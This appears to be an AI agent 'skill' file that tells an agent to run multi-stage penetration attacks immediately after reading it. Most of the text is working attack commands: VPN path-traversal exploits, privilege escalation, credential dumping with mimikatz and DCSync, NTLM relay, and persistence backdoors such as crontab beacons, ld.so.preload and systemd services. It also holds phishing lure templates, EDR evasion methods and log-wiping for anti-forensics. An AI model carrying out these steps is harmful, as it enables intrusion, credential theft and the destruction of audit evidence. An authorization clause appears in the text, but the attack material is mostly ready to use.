Attack Chain Orchestration Skill

ACTION REQUIRED (Execute Immediately After Reading)

```
NOW
```
: Read
```
../field-journal/precedent-pentest.md
```
— Confirm that the operations of this skill are authorized routine actions

NOW

: Create/Update Case (

../scripts/case-init.ps1

) and complete

scope.md

(

../ops/scope-contract.md

); ACT is prohibited if

auth.status!=granted

```
NOW
```
: Plan stages in the lead role (
```
../ops/role-map.md
```
) and write to specialist_roles
```
NEXT
```
: Read
```
../tool-index.md
```
to verify tool availability and actual paths
```
NEXT
```
: Call bootstrap when tools are missing, do not guess paths
```
ACT
```
: Go through stage gates according to
```
references/lifecycle-checklist.md
```
; update
```
timeline.md
```
+
```
workitems.md
```
(
```
../ops/timeline-workitem.md
```
) at each stage; escalate findings to Evidence/Finding
Completion: The
```
docs-generator
```
report must include the Evidence chain

The overall commander for multi-stage attack path planning and execution. When a task requires a complete chain from "point A to point B", this Skill is responsible for orchestrating each stage, coordinating sub-skills, and planning attack paths. Not exclusive to red teams — any penetration scenario requiring cross-stage combination starts here.

When to Route to This Skill

The following scenarios must go through this Skill for full-link planning first, then be distributed to specific sub-skills for execution:

Scenario	Why Orchestration is Needed
"Help me perform a complete penetration test"	Requires planning the full process from information gathering to reporting
"Break from external network to domain controller"	Spans multiple stages: boundary breach → privilege escalation → lateral movement → AD attack
"HW Offensive and Defensive Drill"	Requires complete attack chain + stealth + trace cleanup
"Assess the attack surface of this target"	Requires multi-dimensional information gathering + path planning
"I got a webshell, what to do next"	Requires planning subsequent paths from the current foothold
"Help me plan an attack path"	Explicitly requires path orchestration
"How far can this vulnerability be exploited"	Requires evaluating the chained exploitation value of the vulnerability
"Bug Bounty continuous monitoring"	Requires automated multi-stage processes
"Full-process internal network penetration"	Combination of lateral movement + privilege escalation + domain attack
"Near-source penetration scheme"	Combination of physical access + internal network penetration
"Supply chain attack path"	Cross-organization multi-hop attack
"Phishing + post-penetration"	Combination of initial access + subsequent exploitation

Single-stage tasks do not need to go through this Skill:

Only port scanning → Directly go to
```
pentest-tools/
```
Only SQL injection → Directly go to
```
pentest-tools/
```
Only APK reverse engineering → Directly go to
```
apk-reverse/
```

Only domain penetration → Directly go to

pentest-tools/references/network-attack-defense.md

Orchestration Principles

Role of This Skill

User proposes multi-stage task
    ↓
attack-chain/SKILL.md (this file)
    ↓ Plan attack path, determine stage sequence
    ↓ Evaluate tools and methods required for each stage
    ↓
Distribute to specific sub-skills for execution:
    ├── pentest-tools/     → Tool invocation, vulnerability exploitation
    ├── apk-reverse/       → Mobile penetration
    ├── js-reverse/        → Web frontend breach
    ├── reverse-engineering/ → Binary analysis
    ├── ida-reverse/       → In-depth reverse engineering
    └── browser-automation/ → Automated operations
    ↓
Return to this Skill to evaluate next steps after each stage is completed
    ↓
All completed → docs-generator generates report

Path Planning Decision Tree

After obtaining the target:
1. What is the target? (Web/internal network/cloud/mobile/IoT)
2. What do we currently have? (External perspective/existing credentials/existing foothold)
3. What is the final goal? (Domain controller/data/specific system/prove impact)
4. What are the constraints? (Time/stealth/untouchable systems)
    ↓
Plan the shortest path based on the above information
    ↓
If one path fails → Return to this Skill to re-plan alternative paths

Complete Attack Chain Stages

I. Reconnaissance Stage

1.1 Enterprise Digital Asset Mapping

bash

# Sub-company associated domain discovery
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Merge and deduplicate
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Survival detection
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Port scanning (full ports)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Practical Key Points:

Obtain sub-company lists via Qichacha/Tianyancha to expand the attack surface
Focus on test environments (test., dev., staging.) and newly launched systems
Discover hidden domains through certificate transparency logs (crt.sh)

1.2 Sensitive Information Leak Hunting

bash

# GitHub search
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# API Keys in JS files
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

High-Value Targets:

Cloud service AK/SK (Alibaba Cloud, AWS, Azure)
Database connection strings
JWT secrets
Internal API documents
VPN/bastion host credentials

1.3 Employee Information Profiling

Social Engineering Dictionary Generation Rules:

{Name Pinyin}{Year}       → zhangsan2024
{Name Initials}{Department Abbreviation}  → zs_dev
{Employee ID}@{Domain}          → 10086@target.com
{Name}{Common Suffix}       → zhangsan@123, zhangsan!@#

Information Sources:

Maimai/LinkedIn department structure
Official WeChat account/website team introduction
Recruitment information (tech stack exposure)
Academic papers (email exposure)

1.4 Tech Stack Fingerprint Identification

bash

# Web fingerprint
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Specific framework detection
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# CMS identification
wpscan --url https://target.com --enumerate p,t,u

II. Initial Access Stage

2.1 Web Vulnerability Exploitation (High-Frequency Breach Points)

Vulnerability Type	Detection Tool	Exploitation Method
SQL Injection	sqlmap	Data extraction → write shell → OS command execution
SSTI	sstimap	Template injection → RCE
File Upload	Manual + Burp	Webshell → reverse shell
Deserialization	ysoserial/marshalsec	Java/PHP/Python RCE
SSRF	Manual	Internal network detection → cloud metadata → AK/SK
Unauthorized Access	nuclei	Spring Actuator / Nacos / Redis
XSS → Cookie	xsstrike	Administrator session hijacking

bash

# SQL injection automation
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# SSTI detection
sstimap -u "https://target.com/search?q=test"

# Nuclei batch scanning
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Supply Chain Attack

Attack Path:

Identify third-party components/service providers used by the target
Attack the supplier to obtain code signing/update push permissions
Deliver malicious payloads through legitimate update channels

Common Entry Points:

Open-source component poisoning (npm/pip/maven)
SaaS service provider API abuse
Outsourced personnel privilege exploitation
Shared IT service provider lateral penetration

2.3 Phishing Attack

Email Phishing:

Subject Templates:
- [Urgent] VPN certificate is about to expire, please update immediately
- [IT Notice] Mailbox storage is insufficient, please clean up
- [HR] 2024 Performance Appraisal Result Inquiry
- [Finance] Reimbursement system upgraded, please re-login to confirm

Payload Types:

Office macro documents (.docm/.xlsm)
LNK shortcuts (disguised as PDF)
HTML Smuggling
ISO/IMG images (bypass MOTW)
OneNote embedded scripts

OAuth Phishing (2025 New Trend):

Construct malicious OAuth application to request permissions
Obtain mailbox/file access permissions after user authorization
No password required, bypass MFA

2.4 Near-Source Penetration (Physical Access)

Technique	Tool	Effect
BadUSB	Rubber Ducky / WiFi Ducky	Keyboard injection → reverse shell
Malicious Power Bank	O.MG Cable	Disguised data cable to implant backdoor
WiFi Phishing	Fluxion / WiFi Pineapple	Fake hotspot → credential capture
RFID Cloning	Proxmark3	Access card duplication → physical entry
Network Implant	Raspberry Pi / LAN Turtle	Persistent internal network access point

bash

# Fluxion WiFi phishing
fluxion  # Interactive selection of target AP → create fake hotspot → capture WPA password

# BadUSB联动 Cobalt Strike
# Inject PowerShell downloader via USB → connect to C2

2.5 VPN/Remote Access Breach

bash

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# General: Password spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Cloud Service Breach

bash

# AWS S3 bucket enumeration
aws s3 ls s3://target-bucket --no-sign-request

# Cloud metadata SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure AD password spraying
# Use MSOLSpray / Spray tools

III. Privilege Escalation Stage

3.1 Windows Privilege Escalation

Technique	Condition	Tool
Potato Series	SeImpersonate privilege	SweetPotato / GodPotato / PrintSpoofer
Kernel Vulnerability	Unpatched	watson / wesng detection
Service Path Hijacking	Unquoted service path	PowerUp
DLL Hijacking	Writable DLL search path	Process Monitor
AlwaysInstallElevated	Registry configuration	msiexec install malicious MSI
Scheduled Task	Writable task script	schtasks replacement

powershell

# Detect SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Potato privilege escalation
.\GodPotato.exe -cmd "cmd /c whoami"

# Automated detection
.\winPEAS.exe

3.2 Linux Privilege Escalation

bash

# SUID detection
find / -perm -4000 -type f 2>/dev/null

# sudo abuse
sudo -l
# Common exploitable: vim, find, python, nmap, less, awk, perl

# sudo vim privilege escalation
sudo vim -c ':!/bin/bash'

# sudo find privilege escalation
sudo find / -exec /bin/bash \;

# Kernel vulnerability
uname -r  # Check version
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Automated detection
./linpeas.sh

3.3 Database Privilege Escalation

sql

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- MySQL UDF privilege escalation
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Cloud Privilege Escalation

bash

# AWS IAM enumeration
aws iam list-attached-user-policies --user-name compromised-user
# Look for iam:PassRole + lambda:CreateFunction → administrator privileges

# Azure AD
# Global Administrator → control over all subscriptions
# Application Administrator → add credentials to service principals

IV. Lateral Movement Stage

4.1 Credential Acquisition

bash

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Linux credentials
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# NTLM Hash extraction
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

bash

# PTH lateral movement
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Stealthy Lateral Movement Techniques

bash

# WMI fileless execution
wmiexec.py domain/admin:password@target_ip "whoami"

# DCOM remote execution
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (leaves traces)
psexec.py domain/admin:password@target_ip

# SSH tunnel (Linux environment)
ssh -D 1080 user@pivot_host  # SOCKS proxy
ssh -L 3389:internal_host:3389 user@pivot_host  # Port forwarding

4.4 NTLM Relay

bash

# Turn off SMB/HTTP in Responder
# Edit Responder.conf: SMB = Off, HTTP = Off

# Start Responder to capture
responder -I eth0

# NTLM Relay to target
ntlmrelayx.py -tf targets.txt -smb2support

# Coercer forced authentication
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 AD Attack Paths

bash

# BloodHound data collection
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Common attack paths:
# 1. User → GenericAll → Target User → Reset password
# 2. User → WriteDacl → Target OU → Add permissions
# 3. Computer → Constrained Delegation → Impersonate any user
# 4. User → DCSync permission → Export all Hashes

# Certipy AD CS attack
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

V. Persistence Stage

5.1 Windows Persistence

Technique	Stealth	Detection Difficulty
Scheduled Task	Medium	Low
Registry Run Key	Low	Low
WMI Event Subscription	High	High
DLL Hijacking	High	Medium
Shadow Account	Medium	Medium
Golden Ticket	Extremely High	Extremely High
DSRM Backdoor	Extremely High	Extremely High

powershell

# WMI event subscription (high stealth)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Shadow account
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modify registry F value to clone RID

5.2 Linux Persistence

bash

# SSH key implantation
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Crontab backdoor
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# LD_PRELOAD hijacking
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# PAM backdoor
# Modify pam_unix.so to add universal password

# Systemd service
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Cloud Environment Persistence

bash

# AWS Lambda backdoor
# Create a scheduled Lambda function to connect back to C2

# Azure AD application registration
# Create application → add key credentials → grant Graph API permissions

# Container backdoor
# Modify base image → all new containers come with backdoor

VI. EDR/AV Evasion

6.1 Core Evasion Ideas

Layer	Technique	Description
Static Detection	Encryption/obfuscation/custom loader	Avoid signature matching
Behavior Detection	Indirect system call/Unhooking	Bypass API Hook
Memory Detection	Module stomping/heap encryption	Avoid memory scanning
Network Detection	Domain fronting/legitimate service tunneling	Blend into normal traffic
Log Detection	ETW Patching/log cleanup	Reduce traces

6.2 Practical Evasion Techniques

1. Custom shellcode loader (do not use public tools)
2. Direct system call invocation (bypass ntdll hook)
3. Choose low-monitoring processes for injection (e.g., RuntimeBroker.exe)
4. C2 traffic via HTTPS + domain fronting / Cloudflare Workers
5. Execute in memory, no disk write (Fileless)
6. Use legally signed programs for loading (LOLBins)

6.3 C2 Framework Selection

Framework	Features	Applicable Scenario
Cobalt Strike	Mature and stable, team collaboration	Large-scale red team operations
Sliver	Open-source, written in Go	Limited budget
Havoc	Modern, modular	Customization required
Mythic	Multi-agent support	Cross-platform
AdaptixC2	Included in Kali 2026.1	Rapid deployment

VII. Anti-Forensics (Trace Cleanup)

bash

# Windows log cleanup
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Linux log cleanup
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Timestamp modification
touch -t 202301010000 /path/to/file

# Memory cleanup
# Ensure Mimikatz dump is deleted
# Ensure C2 beacon has exited
# Ensure temporary files are cleared

Red Team Operation Iron Rules

Three Bottom Lines

All operations must obtain written authorization
Data exfiltration must be anonymized
Clean up all attack traces (including resident memory)

Operation Discipline

Evaluate risk level (low/medium/high/critical) before each operation
Notify project manager before high-risk operations
Maintain operation logs (time, action, result)
Report high-risk vulnerabilities immediately upon discovery, do not expand exploitation
Do not affect business availability (DoS is prohibited)
Do not access/download real user data

Typical Failure Cases

Failure Cause	Consequence	Lesson
Failed to clear Mimikatz memory dump	Blue team traced the complete attack path	Clean up immediately after operation
C2 domain marked by threat intelligence	Intercepted on first connection	Use newly registered domains + domain fronting
Phishing email triggered DLP alert	Blue team warned in advance	Test email gateway rules first
Lateral movement triggered honeypot	Exposed attack intent	Identify honeypots before taking action

Tool Quick Reference

Reconnaissance

subfinder

amass

httpx

naabu

katana

gau

dnsx

nmap

whatweb

wpscan

Vulnerability Exploitation

nuclei

sqlmap

sstimap

xsstrike

burpsuite

metasploit

Privilege Escalation

winPEAS

linpeas

GodPotato

PrintSpoofer

watson

Lateral Movement

mimikatz

crackmapexec/netexec

impacket

bloodhound

certipy

coercer

responder

evil-winrm

C2 Frameworks

cobalt-strike

sliver

havoc

mythic

adaptixc2

Near-Source Penetration

fluxion

aircrack-ng

proxmark3

rubber-ducky

wifi-pineapple

Relationship with Other Skills in This Package

Requirement	Route to
In-depth web vulnerability exploitation	`pentest-tools/SKILL.md`
Detailed steps for internal network AD attack	`pentest-tools/references/network-attack-defense.md`
Reverse analysis of malicious samples	`reverse-engineering/SKILL.md`
APK reverse engineering (mobile penetration)	`apk-reverse/SKILL.md`
JS frontend signature bypass	`js-reverse/SKILL.md`
Automated mass penetration	Pentest Swarm AI ( `pentestswarm scan --swarm` )
AI-assisted penetration	`mcp-kali-server` / `metasploitmcp` / `hexstrike-ai`
Report generation	`docs-generator/SKILL.md`
Attack path diagram	`diagram-generator/SKILL.md`

Task Completion Self-Check (MUST Pass Before Claiming Completion)

Have I executed every step in the workflow (instead of just reading)?
Have I used real tool paths based on
```
tool-index
```
?
Have I produced reproducible evidence (commands/scripts/screenshots/reports)?
Have I completed and written back the Checklist items required by RULES?

attack-chain

NPX Install

Tags

SKILL.md Content (Chinese)

Attack Chain Orchestration Skill

ACTION REQUIRED (Execute Immediately After Reading)

When to Route to This Skill

Orchestration Principles

Role of This Skill

Path Planning Decision Tree

Complete Attack Chain Stages

I. Reconnaissance Stage

1.1 Enterprise Digital Asset Mapping

1.2 Sensitive Information Leak Hunting

1.3 Employee Information Profiling

1.4 Tech Stack Fingerprint Identification

II. Initial Access Stage

2.1 Web Vulnerability Exploitation (High-Frequency Breach Points)

2.2 Supply Chain Attack

2.3 Phishing Attack

2.4 Near-Source Penetration (Physical Access)

2.5 VPN/Remote Access Breach

2.6 Cloud Service Breach

III. Privilege Escalation Stage

3.1 Windows Privilege Escalation

3.2 Linux Privilege Escalation

3.3 Database Privilege Escalation

3.4 Cloud Privilege Escalation

IV. Lateral Movement Stage

4.1 Credential Acquisition

4.2 Pass-the-Hash / Pass-the-Ticket

4.3 Stealthy Lateral Movement Techniques

4.4 NTLM Relay

4.5 AD Attack Paths

V. Persistence Stage

5.1 Windows Persistence

5.2 Linux Persistence

5.3 Cloud Environment Persistence

VI. EDR/AV Evasion

6.1 Core Evasion Ideas

6.2 Practical Evasion Techniques

6.3 C2 Framework Selection

VII. Anti-Forensics (Trace Cleanup)

Red Team Operation Iron Rules

Three Bottom Lines

Operation Discipline

Typical Failure Cases

Tool Quick Reference

Reconnaissance

Vulnerability Exploitation

Privilege Escalation

Lateral Movement

C2 Frameworks

Near-Source Penetration

Relationship with Other Skills in This Package

Task Completion Self-Check (MUST Pass Before Claiming Completion)